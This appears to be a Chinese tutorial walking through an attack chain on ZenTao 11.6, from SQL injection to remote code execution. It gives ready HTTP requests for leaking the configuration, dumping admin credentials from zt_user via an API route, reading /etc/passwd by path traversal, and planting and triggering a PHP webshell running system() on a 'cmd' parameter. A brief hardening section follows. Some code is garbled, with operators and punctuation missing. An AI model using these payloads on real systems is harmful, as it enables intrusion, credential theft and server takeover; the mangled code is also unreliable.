手把手复现禅道11.6后台漏洞:从SQL注入到RCE的完整攻击链分析 禅道11.6漏洞链深度剖析从SQL注入到系统沦陷的实战路径在开源项目管理领域禅道凭借其完整的功能矩阵长期占据重要地位。但当系统存在多个安全缺陷时攻击者往往能通过漏洞组合实现权限升级。本文将还原一个典型的攻击链路从低危的SQL注入开始通过参数传递机制缺陷逐步突破边界最终完成远程代码执行的完整过程。1. 环境搭建与初始侦查搭建测试环境建议使用XAMPP集成包配合禅道11.6版本确保与漏洞环境完全匹配。关键配置要点包括PHP版本需锁定5.6.x与漏洞触发条件强相关MySQL启用宽松模式模拟真实企业环境关闭所有PHP安全过滤扩展如magic_quotes_gpc初始信息收集技巧GET /zentao/index.php?modegetconfig HTTP/1.1 Host: target.com这个看似无害的版本查询请求实际上会返回包括数据库配置、安装路径在内的敏感信息。通过Burp Suite拦截响应可观察到dbHost:localhost, dbUser:root, dbPassword:zentao123, installRoot:C:\\xampp\\zentao2. 参数传递机制的安全盲区禅道的路由解析存在设计缺陷其router.class.php中PATH_INFO模式使用连字符分割参数但未对参数做类型校验。观察以下关键代码段// zentao/framework/base/router.class.php public function setRouteByPathInfo($pathInfo) { $parts explode(-, $pathInfo); $this-moduleName $parts[0]; $this-methodName $parts[1]; // 无过滤直接赋值 }这种宽松处理导致攻击者可以构造特殊参数链例如api-getModel-api-sql-sql[注入语句]实际形成的方法调用链为调用api模块的getModel方法在getModel中继续调用api模块的sql方法将sql参数直接拼接查询3. SQL注入的精准利用通过前期的路由分析构造突破认证的注入PayloadGET /zentao/api-getModel-api-sql-sqlselectaccount,passwordfromzt_userwhereaccount%3dadmin HTTP/1.1关键突破点在于api/model.php中的危险逻辑public function sql($sql) { if(stripos($sql, select) 0) { return $this-dao-query($sql); // 直接执行未过滤 } }获取管理员凭证后攻击者通常会进行以下操作修改会话令牌维持访问提取其他系统用户信息用于横向移动查询数据库配置为后续渗透做准备4. 文件操作漏洞的连锁反应利用已获取的权限通过文件读取漏洞获取系统关键信息GET /zentao/api-getModel-file-parseCSV-fileName../../../../etc/passwd HTTP/1.1漏洞根源在于file/model.php中的路径处理缺陷public function parseCSV($fileName) { $content file_get_contents($fileName); // 直接读取 return explode(\n, $content); }虽然系统有parsePathInfo()函数进行过滤但可通过以下方式绕过使用多重../跳转目录利用Windows特性如C:\windows\win.ini结合编码混淆如URL编码、双重编码5. 实现RCE的终极突破组合利用文件写入和包含漏洞完成代码执行分两个阶段实施阶段一植入WebshellPOST /zentao/api-getModel-editor-save-filePathshell.php HTTP/1.1 ?php system($_GET[cmd]);?阶段二触发执行GET /zentao/api-getModel-api-getMethod-filePathshell.php/1?cmdwhoami HTTP/1.1技术原理editor/model.php中的save方法未校验文件内容helper.class.php的import方法存在动态包含漏洞通过dirname()函数特性绕过路径检查需多级目录6. 防御策略与加固方案针对此类漏洞链建议实施分层防御代码层防护// 安全的参数处理示例 function safeParam($input) { if(preg_match(/\.\.|\0|\/i, $input)) { throw new Exception(Invalid input); } return realpath($input); }系统层加固禁用危险函数如file_get_contents、system配置open_basedir限制文件访问范围对数据库操作强制使用预处理语句运维监控建议部署WAF规则拦截异常参数模式监控敏感文件变更如.php文件创建建立SQL注入尝试的实时告警机制